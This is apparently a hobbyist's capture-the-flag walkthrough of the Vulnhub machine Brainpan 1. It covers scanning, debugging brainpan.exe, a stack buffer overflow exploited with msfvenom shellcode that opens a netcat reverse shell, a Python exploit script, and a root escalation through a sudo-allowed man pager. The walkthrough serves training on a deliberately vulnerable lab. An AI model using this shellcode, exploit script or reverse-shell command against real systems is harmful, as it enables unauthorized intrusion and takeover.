Brainpan 1
Moving on down the Vulnhub list of machines to do, we've got Brainpan 1. Hopefully this one is more difficult this is starting to get repetitive.
└─$ sudo nmap -nP 10.10.10.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-09 12:38 EST
Nmap scan report for 10.10.10.1
Host is up (0.00013s latency).
All 1000 scanned ports on 10.10.10.1 are filtered
MAC Address: 08:00:27:A3:1B:5C (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.11
Host is up (0.00020s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
MAC Address: 08:00:27:39:D8:4A (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.9
Host is up (0.0000030s latency).
All 1000 scanned ports on 10.10.10.9 are closed
Nmap done: 256 IP addresses (3 hosts up) scanned in 2.25 seconds
└─$ curl 10.10.10.11:10000 2 ⨯
<html>
<body bgcolor="ffffff">
<center>
<!-- infographic from http://www.veracode.com/blog/2012/03/safe-coding-and-software-security-infographic/ -->
<img src="soss-infographic-final.png">
</center>
</body>
</html>
└─$ curl 10.10.10.11:9999
curl: (1) Received HTTP/0.9 when not allowed
└─$ nikto --host 10.10.10.11 --port 9999
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on 10.10.10.11:9999
---------------------------------------------------------------------------
+ 0 host(s) tested
└─$ nikto --host 10.10.10.11 --port 10000 1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.11
+ Target Hostname: 10.10.10.11
+ Target Port: 10000
+ Start Time: 2021-01-09 12:40:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/2.7.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Python/2.7.3 appears to be outdated (current is at least 2.7.8)
+ SimpleHTTP/0.6 appears to be outdated (current is at least 1.2)
+ OSVDB-3268: /bin/: Directory indexing found.
+ OSVDB-3092: /bin/: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated: 20 error(s) and 7 item(s) reported on remote host
+ End Time: 2021-01-09 12:40:20 (GMT-5) (20 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Huh, they're hosting it with Python SimpleHTTPServer?! I've used that for quick testing, but to actually host something? Surely this is vulnerable...
└─$ searchsploit SimpleHTTP
Exploits: No Results
Shellcodes: No Results
Okay whatever, let's dive into what's at /bin... Cute! Okay interesting, this is different! I'm honestly not sure what to do with this executable my reversing skills aren't great. I guess a first step would be to run this safely... So, I'm stepping off this internal network to install firejail, wine and wine32. Then I'm going to disconnect the virtual network interface from my host machine just incase this binary tries to phone home... I'm hoping this is the service running on port 9999 and we get to craft a payload to it!
└─$ ping 10.10.10.11 2 ⨯
ping: connect: Network is unreachable
# Attempt to execute it
└─$ firejail wine ./brainpan.exe
Reading profile /etc/firejail/wine.profile
Reading profile /etc/firejail/disable-common.inc
Reading profile /etc/firejail/disable-devel.inc
Reading profile /etc/firejail/disable-interpreters.inc
Reading profile /etc/firejail/disable-passwdmgr.inc
Reading profile /etc/firejail/disable-programs.inc
Reading profile /etc/firejail/whitelist-var-common.inc
Warning: networking feature is disabled in Firejail configuration file
Parent pid 20083, child pid 20084
Warning: cannot open source file /usr/lib/x86_64-linux-gnu/firejail/seccomp.debug32, file not copied
Child process initialized in 100.21 ms
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
Yessir, this is the binary running on port 9999! Okay this is going to be fun, we have to reverse this thing! The first tool I find for decompiling this is OllyDbg, so I install that and open the .exe in it: Okay... it's been a long time since I looked at assembly. Let's see if I can find where it's taking data from the Web socket first and from there look for a buffer overflow or something of that nature... I can quickly see, by inspecting the responses and errors in the program the areas I want to dig into, however I need to learn some more about i386 instruction set, so I read a few things! I'll provide a list of URL's I read and some figures:
- https://www.cs.virginia.edu/~evans/cs216/guides/x86.html
Alright so this debugger is running the program, and by glancing through the instructions I can see it's listening for a TCP connection... so, nc should open a connection to it?
Alright let's start debugging this thing. I find a section containing pointers to executables of functions I know I'm going to target and add breakpoints:
I let the program run. When I connect with nc it breaks at strcpy as it's copying the welcome header to the socket. I let that run through, and it hangs waiting for my password. I enter an incorrect password, it breaks at strcpy as it copies the string from the socket into a register...
Registers when strcpy exits:
Next, Strlen executes and finally strcmp executes. Here's the registers when strcmp begins:
As I step through and the function loads ECD and EDX to compare, we can see the password is
shitstorm
Then I hit run until return until we're hanging again waiting for a TCP connection, reconnect stepping through until password entry, and enter shitstorm for the password! We get ACCESS_GRANTED, but then the connection terminates... Oh wait... I get it, I don't care about getting the password correct. Wow I'm quite bad at this. I've pinpointed my one point of user input, I need to find a vulnerability here. Most likely during strcpy I can overflow the buffer and write some of my own instructions. It's been quite a while since I exploited a buffer overflow. So, we want to closely inspect the initial strcpy command where the socket input it getting written into memory. Here's the strcpy function:
7F9D8D00 55 PUSH EBP
7F9D8D01 31C0 XOR EAX,EAX
7F9D8D03 89E5 MOV EBP,ESP
7F9D8D05 53 PUSH EBX
7F9D8D06 8B4D 08 MOV ECX,DWORD PTR SS:[EBP+8]
7F9D8D09 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C]
7F9D8D0C 8D7426 00 LEA ESI,DWORD PTR DS:[ESI]
7F9D8D10 0FB61403 MOVZX EDX,BYTE PTR DS:[EBX+EAX]
7F9D8D14 881401 MOV BYTE PTR DS:[ECX+EAX],DL
7F9D8D17 83C0 01 ADD EAX,1
7F9D8D1A 84D2 TEST DL,DL
7F9D8D1C ^75 F2 JNZ SHORT msvcrt.7F9D8D10
7F9D8D1E 89C8 MOV EAX,ECX
7F9D8D20 5B POP EBX
7F9D8D21 5D POP EBP
7F9D8D22 C3 RETN
Register EBX contains the string we input. Here's what's happening in this routine:
- Clear EBP
- Set EAX to address 0
- Move EBP into ESP (Unsure why, both registers are empty)
- Clear EBX
- Move first argument into ECX (This is destination string address, address 0042F6C0)
- Move second argument into EBX (This is our input string address)
- Load Effective Address
- Then we head into a loop where we copy each byte from src to dst until DL && DL Not Zero (Stops at null byte?)
In C, we'd have something like this:
#include <stdio.h>
#include <string.h>
int main() {
char str1[20] = "C programming";
char str2[20];
// copying str1 to str2
strcpy(str2, str1);
puts(str2); // C programming
return 0;
}
I think by looking at the strcpy entry that the buffer is 20B (523) bytes long... Let's test? I should be able to enter a string of 518 bytes without issue.
┌──(kali㉿kali)-[~/Desktop]
└─$ perl -e 'print "F"x518; print "\n"'
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
┌──(kali㉿kali)-[~/Desktop]
└─$ nc 10.10.10.11 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
ACCESS DENIED
Now, If I add one more F - it should crash the program. I did it, and now the server is down:
$ nc 10.10.10.11 9999
UNKNOWN) [10.10.10.11] 9999 (?) : Connection refused
Okay, in the real world I should probably perfectly craft my payload before taking down there server. Really - I just failed. Luckily, this server boots itself back up! Length 518 working means our buffer length is, well, 518! Now, most likely we can control EIP at address 525. because there'll be four bytes after the buffer end. So, we need to craft a payload like this: | 524 bytes padding | 4 bytes EIP | Shellcode to execute | For our payload, we're going to want to have the target server start a separate process to reverse back to us. Let's use msfvenom:
└─$ msfvenom -p linux/x86/exec CMD='nc 10.10.10.9 4444 -e /bin/bash' -b "x00" -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 96 (iteration=0)
x86/shikata_ga_nai chosen with final size 96
Payload size: 96 bytes
Final size of py file: 483 bytes
buf = b""
buf += b"\xb8\xcb\x3f\xe4\xef\xda\xca\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x12\x31\x43\x13\x83\xc3\x04\x03\x43\xc4\xdd"
buf += b"\x11\x85\xd1\x79\x43\x08\x83\x11\x5e\xce\xc2\x05\xc8"
buf += b"\x3f\xa7\xa1\x09\x28\x68\x50\x63\xc6\xff\x77\x21\xfe"
buf += b"\xdd\x77\xc6\xfe\x4f\x1b\xe6\xcf\xbf\xf5\xd7\x1f\x91"
buf += b"\x38\x28\x4e\xd4\x1a\x7c\xba\x12\x6f\x5c\xef\x3f\xaf"
buf += b"\xb3\x8d\xd6\xc1\xe4\x33\x49\x6d\x93\x93\xaf\x91\x34"
buf += b"\x87\x26\x70\x77\xa7"
Look back, we need the address of a JMP ESP
instruction to abuse:
Address 311712F3
Now we write a little python script to generate exactly what we want:
import sys,socket
# Address of the JMP EIP instruction
eip = "\xf3\x12\x17\x31"
# Add NOP Sled before shellcode
buf = "x90"*16
# Add Generated shellcode to run netcat
buf += b"\xb8\xcb\x3f\xe4\xef\xda\xca\xd9\x74\x24\xf4\x5b\x33"
buf += b"\xc9\xb1\x12\x31\x43\x13\x83\xc3\x04\x03\x43\xc4\xdd"
buf += b"\x11\x85\xd1\x79\x43\x08\x83\x11\x5e\xce\xc2\x05\xc8"
buf += b"\x3f\xa7\xa1\x09\x28\x68\x50\x63\xc6\xff\x77\x21\xfe"
buf += b"\xdd\x77\xc6\xfe\x4f\x1b\xe6\xcf\xbf\xf5\xd7\x1f\x91"
buf += b"\x38\x28\x4e\xd4\x1a\x7c\xba\x12\x6f\x5c\xef\x3f\xaf"
buf += b"\xb3\x8d\xd6\xc1\xe4\x33\x49\x6d\x93\x93\xaf\x91\x34"
buf += b"\x87\x26\x70\x77\xa7"
# Compile payload
data = ("F"*524) + eip + buf
# Open TCP Connection
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.10.11",9999))
# Read the header
print s.recv(1024)
# Send payload
s.send(data)
# Read Response
print s.recv(1024)
# Close socket
s.close()
Now let's try it out!!
$ nc -lp 4444 &
$ python brainpan.py
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
$ fg
...
Hmm, maybe 4444 is just blocked on outbound? I generated a payload for port 443... Didn't work.
After a lot of messing around, it turns out I messed two things up...
I needed an encoding -e x86/alpha_upper
for my payload... and, My NOPSled was missing an escape character...
I got it to work anyway:
└─$ sudo nc -nvlp 443 1 ⨯
listening on [any] 443 ...
connect to [10.10.10.9] from (UNKNOWN) [10.10.10.11] 55265
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
Now for the likely much easier part for me...
ls -al
total 48
drwx------ 7 puck puck 4096 Mar 6 2013 .
drwxr-xr-x 5 root root 4096 Mar 4 2013 ..
-rw------- 1 puck puck 0 Mar 5 2013 .bash_history
-rw-r--r-- 1 puck puck 220 Mar 4 2013 .bash_logout
-rw-r--r-- 1 puck puck 3637 Mar 4 2013 .bashrc
drwx------ 3 puck puck 4096 Mar 4 2013 .cache
drwxrwxr-x 3 puck puck 4096 Mar 4 2013 .config
-rw------- 1 puck puck 55 Mar 5 2013 .lesshst
drwxrwxr-x 3 puck puck 4096 Mar 4 2013 .local
-rw-r--r-- 1 puck puck 675 Mar 4 2013 .profile
drwxrwxr-x 4 puck puck 4096 Jan 9 10:52 .wine
-rwxr-xr-x 1 root root 513 Mar 6 2013 checksrv.sh
drwxrwxr-x 3 puck puck 4096 Mar 4 2013 web
cat checksrv.sh
#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep brainpan.exe | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
killall wineserver
killall winedevice.exe
fi
/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi
# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then
pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
if [[ ! -z $pid ]]; then
kill -9 $pid
fi
cd /home/puck/web
/usr/bin/python -m SimpleHTTPServer 10000
fi
python -c 'import pty;pty.spawn("/bin/bash")'
puck@brainpan:/home/puck$ ps -aux | grep root
ps -aux | grep root
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
root 1 0.0 0.7 3496 1852 ? Ss 09:50 0:00 /sbin/init
root 2 0.0 0.0 0 0 ? S 09:50 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 09:50 0:00 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S 09:50 0:00 [kworker/0:0]
root 6 0.0 0.0 0 0 ? S 09:50 0:00 [migration/0]
root 7 0.0 0.0 0 0 ? S 09:50 0:00 [watchdog/0]
root 8 0.0 0.0 0 0 ? S< 09:50 0:00 [cpuset]
root 9 0.0 0.0 0 0 ? S< 09:50 0:00 [khelper]
root 10 0.0 0.0 0 0 ? S 09:50 0:00 [kdevtmpfs]
root 11 0.0 0.0 0 0 ? S< 09:50 0:00 [netns]
root 12 0.0 0.0 0 0 ? S 09:50 0:00 [sync_supers]
root 13 0.0 0.0 0 0 ? S 09:50 0:00 [bdi-default]
root 14 0.0 0.0 0 0 ? S< 09:50 0:00 [kintegrityd]
root 15 0.0 0.0 0 0 ? S< 09:50 0:00 [kblockd]
root 16 0.0 0.0 0 0 ? S< 09:50 0:00 [ata_sff]
root 17 0.0 0.0 0 0 ? S 09:50 0:00 [khubd]
root 18 0.0 0.0 0 0 ? S< 09:50 0:00 [md]
root 22 0.0 0.0 0 0 ? S 09:50 0:00 [khungtaskd]
root 23 0.0 0.0 0 0 ? S 09:50 0:00 [kswapd0]
root 24 0.0 0.0 0 0 ? SN 09:50 0:00 [ksmd]
root 25 0.0 0.0 0 0 ? S 09:50 0:00 [fsnotify_mark]
root 26 0.0 0.0 0 0 ? S 09:50 0:00 [ecryptfs-kthrea]
root 27 0.0 0.0 0 0 ? S< 09:50 0:00 [crypto]
root 36 0.0 0.0 0 0 ? S< 09:50 0:00 [kthrotld]
root 37 0.0 0.0 0 0 ? S 09:50 0:00 [kworker/u:2]
root 39 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_0]
root 40 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_1]
root 41 0.0 0.0 0 0 ? S 09:50 0:00 [kworker/u:3]
root 42 0.0 0.0 0 0 ? S< 09:50 0:00 [binder]
root 62 0.0 0.0 0 0 ? S< 09:50 0:00 [deferwq]
root 63 0.0 0.0 0 0 ? S< 09:50 0:00 [charger_manager]
root 64 0.0 0.0 0 0 ? S< 09:50 0:00 [devfreq_wq]
root 268 0.0 0.0 0 0 ? S< 09:50 0:00 [mpt_poll_0]
root 271 0.0 0.0 0 0 ? S< 09:50 0:00 [mpt/0]
root 287 0.0 0.0 0 0 ? S 09:50 0:00 [scsi_eh_2]
root 302 0.0 0.0 0 0 ? S 09:50 0:00 [jbd2/sda1-8]
root 303 0.0 0.0 0 0 ? S< 09:50 0:00 [ext4-dio-unwrit]
root 394 0.0 0.2 2820 608 ? S 09:50 0:00 upstart-udev-bridge --daemon
root 396 0.0 0.5 3052 1268 ? Ss 09:50 0:00 /sbin/udevd --daemon
root 565 0.0 0.0 0 0 ? S< 09:50 0:00 [kpsmoused]
root 618 0.0 0.9 5492 2336 ? Ss 09:50 0:00 dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
root 642 0.0 1.4 18832 3588 ? Ss 09:50 0:00 /usr/sbin/winbindd -F
root 647 0.0 0.5 18832 1296 ? S 09:50 0:00 /usr/sbin/winbindd -F
root 672 0.0 0.3 3048 876 ? S 09:50 0:00 /sbin/udevd --daemon
root 679 0.0 0.3 3048 828 ? S 09:50 0:00 /sbin/udevd --daemon
root 755 0.0 0.2 2816 596 ? S 09:50 0:00 upstart-socket-bridge --daemon
root 833 0.0 0.0 0 0 ? S 09:50 0:00 [kworker/0:2]
root 839 0.0 0.3 4632 852 tty4 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty4
root 841 0.0 0.3 4632 852 tty5 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty5
root 846 0.0 0.3 4632 852 tty2 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty2
root 850 0.0 0.3 4632 848 tty3 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty3
root 858 0.0 0.3 4632 852 tty6 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty6
root 868 0.0 0.3 2620 800 ? Ss 09:50 0:00 cron
root 897 0.0 0.1 2656 360 ? S 09:50 0:00 /usr/bin/daemon /etc/init.d/mpt-statusd check_mpt
root 898 0.0 0.2 2232 616 ? S 09:50 0:00 /bin/sh /etc/init.d/mpt-statusd check_mpt
root 958 0.0 0.3 4632 852 tty1 Ss+ 09:50 0:00 /sbin/getty -8 38400 tty1
root 975 0.0 0.0 0 0 ? S 09:50 0:00 [flush-8:0]
root 976 0.0 0.4 3180 1144 ? S 09:51 0:00 CRON
root 2084 0.0 0.1 2152 280 ? S 10:50 0:00 sleep 600
puck 2233 0.0 0.2 2316 560 pts/0 S+ 10:53 0:00 grep --color=auto root
puck@brainpan:/home/puck$ find . -readable -and -user puck 2>/dev/null | head -n 10
<ind . -readable -and -user puck 2>/dev/null | head -n 10
.
./.profile
./.bash_logout
./.bash_history
./.wine
./.wine/user.reg
./.wine/.update-timestamp
./.wine/drive_c
./.wine/drive_c/users
./.wine/drive_c/users/puck
puck@brainpan:/$ ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
/tmp:
. .. .ICE-unix .X11-unix .winbindd .wine-1002
/var/backups:
. ..
/var/mail/:
. ..
/var/spool/mail/:
. ..
/var/tmp:
. ..
puck@brainpan:/$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User puck may run the following commands on this host:
(root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:/$ sudo /home/anansi/bin/anansi_util
sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
- network
- proclist
- manual [command]
I played with these options for a while:
- network runs
ifconfig
- unsure what exactly proclist is doing
- manual executes
man <command>
The last one is where we can get command injection! Testing...
puck@brainpan:/$ sudo /home/anansi/bin/anansi_util manual man; ls
sudo /home/anansi/bin/anansi_util manual man; ls
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
MAN(1) Manual pager utils MAN(1)
NAME
man - an interface to the on-line reference manuals
SYNOPSIS
man [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
locale] [-m system[,...]] [-M path] [-S list] [-e extension] [-i|-I]
[--regex|--wildcard] [--names-only] [-a] [-u] [--no-subpages] [-P
pager] [-r prompt] [-7] [-E encoding] [--no-hyphenation] [--no-justifi‐
cation] [-p string] [-t] [-T[device]] [-H[browser]] [-X[dpi]] [-Z]
[[section] page ...] ...
man -k [apropos options] regexp ...
man -K [-w|-W] [-S list] [-i|-I] [--regex] [section] term ...
man -f [whatis options] page ...
man -l [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
locale] [-P pager] [-r prompt] [-7] [-E encoding] [-p string] [-t]
[-T[device]] [-H[browser]] [-X[dpi]] [-Z] file ...
man -w|-W [-C file] [-d] [-D] page ...
man -c [-C file] [-d] [-D] page ...
man [-hV]
DESCRIPTION
Manual page man(1) line 1 (press h for help or q to quit)
man is the system\'s manual pager. Each page argument given to man is
Manual page man(1) line 2 (press h for help or q to quit)q
bin etc initrd.img.old media proc sbin sys var
boot home lib mnt root selinux tmp vmlinuz
dev initrd.img lost+found opt run srv usr vmlinuz.old
Now to figure out a payload...
$ sudo /home/anansi/bin/anansi_util manual man; echo "puck ALL=(ALL) NOPASSWD:ALL"
bash: /etc/sudoers: Permission denied
Huh?!
$ sudo /home/anansi/bin/anansi_util manual man; id
...
uid=1002(puck) gid=1002(puck) groups=1002(puck)
Yeah... duh, I'm just executing that in my context. But wait, isn't the manual binary exploitable too?
root@brainpan:/usr/share/man# sudo /home/anansi/bin/anansi_util manual ls
sudo /home/anansi/bin/anansi_util manual ls
No manual entry for manual
WARNING: terminal is not fully functional
- (press RETURN)
LS(1) User Commands LS(1)
NAME
ls - list directory contents
SYNOPSIS
ls [OPTION]... [FILE]...
DESCRIPTION
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is speci‐
fied.
Mandatory arguments to long options are mandatory for short options
too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
Manual page ls(1) line 1 (press h for help or q to quit)!/bin/bash
!/bin/bash
root@brainpan:/usr/share/man# id
id
uid=0(root) gid=0(root) groups=0(root)
Hell yeah it is! We win!
cd /root
root@brainpan:~# ls
ls
b.txt
root@brainpan:~# cat b.txt
cat b.txt
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
http://www.techorganic.com
GG